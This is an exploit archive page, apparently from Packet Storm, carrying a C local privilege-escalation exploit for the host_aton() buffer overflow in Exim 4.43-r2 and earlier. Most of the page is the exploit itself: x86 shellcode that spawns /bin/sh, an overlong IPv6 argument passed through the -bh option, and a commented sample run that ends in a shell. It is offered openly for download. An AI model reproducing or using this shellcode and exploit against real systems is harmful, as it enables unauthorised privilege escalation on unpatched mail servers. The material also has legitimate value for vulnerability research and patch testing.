exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

prdelka-vs-GNU-exim.c

prdelka-vs-GNU-exim.c
Posted Oct 27, 2006
Authored by prdelka | Site prdelka.blackart.org.uk

Exim versions 4.43-r2 and prior host_aton() local root exploit.

tags | exploit, local, root
SHA-256 | aebac98246454607fa35d16a81b2ca598ce612832413121e7c0d3f85eac98cf7

prdelka-vs-GNU-exim.c

Change Mirror Download
/* Exim <= 4.43-r2 host_aton() local exploit
* =========================================
* Exim is an highly configurable message transfer agent (MTA) developed
* at the University of Cambridge.A buffer overflow has been found in the
* host_aton() function of exim (CAN-2005-0021).A local attacker could
* trigger the buffer overflow in host_aton() by supplying an illegal
* IPv6 address with more than 8 components, using a command line option.
*
* linux tmp $ id
* uid=1000(user) gid=100(users) groups=10(wheel),18(audio),100(users)
* linux tmp $ ./eximx /usr/sbin/exim
* [ GNU/Linux Exim <= 4.43-r2 host_aton() local exploit
*
* **** SMTP testing session as if from host ::%A::%A::%A::%A::%A::%A::%A::%A::%A::%A
* **** but without any ident (RFC 1413) callback.
* **** This is not for real!
*
* >>> host in host_lookup? yes (matched "*")
* >>> looking up host name for ::%A::%A::%A::%A::%A::%A::%A::%A::%A::%A
* sh-2.05b$ id
* uid=8(mail) gid=12(mail)
* sh-2.05b$
*
* - prdelka
*/
#include <stdio.h>
#include <stdlib.h>

char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x50\x68""//sh""\x68""/bin""\x89\xe3"
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
char cmd1[]="-bh";
char cmd2[]="::%A::%A::%A::%A::%A::%A::%A::%A::%A::%A";

int main(int argc,char* argv[])
{
printf("[ GNU/Linux Exim <= 4.43-r2 host_aton() local exploit\n");
if(argc < 2)
{
printf("Error: [path]\n");
exit(0);
}
char *env[] = {NULL};
execle(argv[1],argv[1],cmd1,cmd2,shellcode,NULL,env);
exit(0);
}
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close